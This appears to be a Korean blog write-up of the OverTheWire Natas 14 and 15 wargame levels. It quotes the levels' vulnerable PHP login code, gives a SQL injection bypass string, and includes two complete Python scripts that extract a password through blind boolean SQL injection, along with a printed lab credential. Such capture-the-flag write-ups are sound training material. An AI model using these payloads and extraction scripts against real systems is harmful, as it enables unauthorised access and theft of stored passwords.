본문 바로가기
Security/OverTheWire

Natas 14 15

by curious week 2026. 3. 16.

Natas14

<?php
if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas14', '<censored>');
    mysqli_select_db($link, 'natas14');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    if(mysqli_num_rows(mysqli_query($link, $query)) > 0) {
            echo "Successful login! The password for natas15 is <censored><br>";
    } else {
            echo "Access denied!<br>";
    }
    mysqli_close($link);
} else {
?>

소스 코드를 보면 쿼리가 있으면 그대로 값에 들어가는 걸 알 수 있다. 

natas14" or 1=1 #

을 추가해서 # 이후 패스워드를 검사하지 않도록 처리하면 된다.


Natas15

<?php

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas15', '<censored>');
    mysqli_select_db($link, 'natas15');

    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysqli_query($link, $query);
    if($res) {
    if(mysqli_num_rows($res) > 0) {
        echo "This user exists.<br>";
    } else {
        echo "This user doesn't exist.<br>";
    }
    } else {
        echo "Error in query.<br>";
    }

    mysqli_close($link);
} else {
?>

$_REQUEST["username"]를 보면 값을 검증 없이 그대로 붙이고 있다.

또한 사용자가 맞으면 "This user exists."를 출력한다.

비밀번호를 알아내기 위해 

natas16" and password LIKE BINARY "문자열

대입을 실시하면 된다. 

여러 번 반복해야하기 때문에 python을 사용한다.

# uv를 사용했다.
uv init
uv add requests
# 아래의 파일을 main.py라는 이름으로 저장
uv run python main.py

먼저, 포함된 문자 찾기

import requests
import string

# 대상 URL
url = "http://natas15.natas.labs.overthewire.org/"

# 현재 레벨 로그인 정보
username = "natas15"
password = "SdqIqBsFcz3yotlNYErZSZwblkm0lrvx"

# 검사할 전체 문자 집합
# string.digits      -> 0123456789
# string.ascii_letters -> abcdef...ABCDEF...
characters = string.digits + string.ascii_letters

# 응답 본문에 이 문자열이 있으면 조건이 참이라는 뜻
exists_str = "This user exists."

# 비밀번호에 포함된 것으로 확인된 문자들을 저장
passchar = []

for c in characters:
    # SQL injection payload
    # 의미:
    # username = "natas16" and password LIKE BINARY "%c%"
    #
    # 즉, natas16의 password 안에 현재 문자 c가 포함되어 있으면 참이 됩니다.
    injected_username = f'natas16" and password LIKE BINARY "%{c}%'

    # params를 사용하면 URL 인코딩을 requests가 처리해줍니다.
    params = {
        "username": injected_username,
        "debug": ""
    }

    # Basic Auth로 natas15 계정 로그인
    r = requests.get(url, params=params, auth=(username, password))

    # 서버 응답에 특정 문구가 있으면 조건이 참
    if exists_str in r.text:
        passchar.append(c)
        print(f"> 현재까지 확인된 문자: {''.join(passchar)}")

print(f"Character List: {''.join(passchar)}")

여기서 포함된 문자를 찾았다면 다시 순서대로 맞는지 검증한다

import requests

# 대상 URL
url = "http://natas15.natas.labs.overthewire.org/"

# 현재 레벨 로그인 정보
username = "natas15"
password = "SdqIqBsFcz3yotlNYErZSZwblkm0lrvx"

# 조건이 참일 때 응답에 포함되는 문자열
exists_str = "This user exists."

# 1차 스크립트에서 얻어낸 "비밀번호에 포함된 문자 후보"
char_txt = "346cefhijkmostuvDEGKLMPQVWXY"
char_list = list(char_txt)

# 지금까지 맞춘 비밀번호 prefix
secret = ""

# Natas 비밀번호 길이는 보통 32자
for place in range(1, 33):
    print(f"Character # {place}")

    found = False

    # 가능한 문자 후보를 하나씩 붙여보면서 검사
    for char in char_list:
        temp = secret + char

        # 의미:
        # username = "natas16" and password LIKE BINARY "temp%"
        #
        # 즉, natas16의 password가 temp로 시작하면 참
        injected_username = f'natas16" and password LIKE BINARY "{temp}%'

        params = {
            "username": injected_username,
            "debug": ""
        }

        r = requests.get(url, params=params, auth=(username, password))

        if exists_str in r.text:
            # 현재 문자까지 맞았으므로 prefix 확정
            secret = temp
            print(f"password prefix: {secret}")
            found = True
            break

    if not found:
        print(f"No matching character found for position {place}")
        break

print(f"\n최종적으로 찾은 비밀번호: {secret}")

여기서 최종 비밀번호를 얻으면 된다.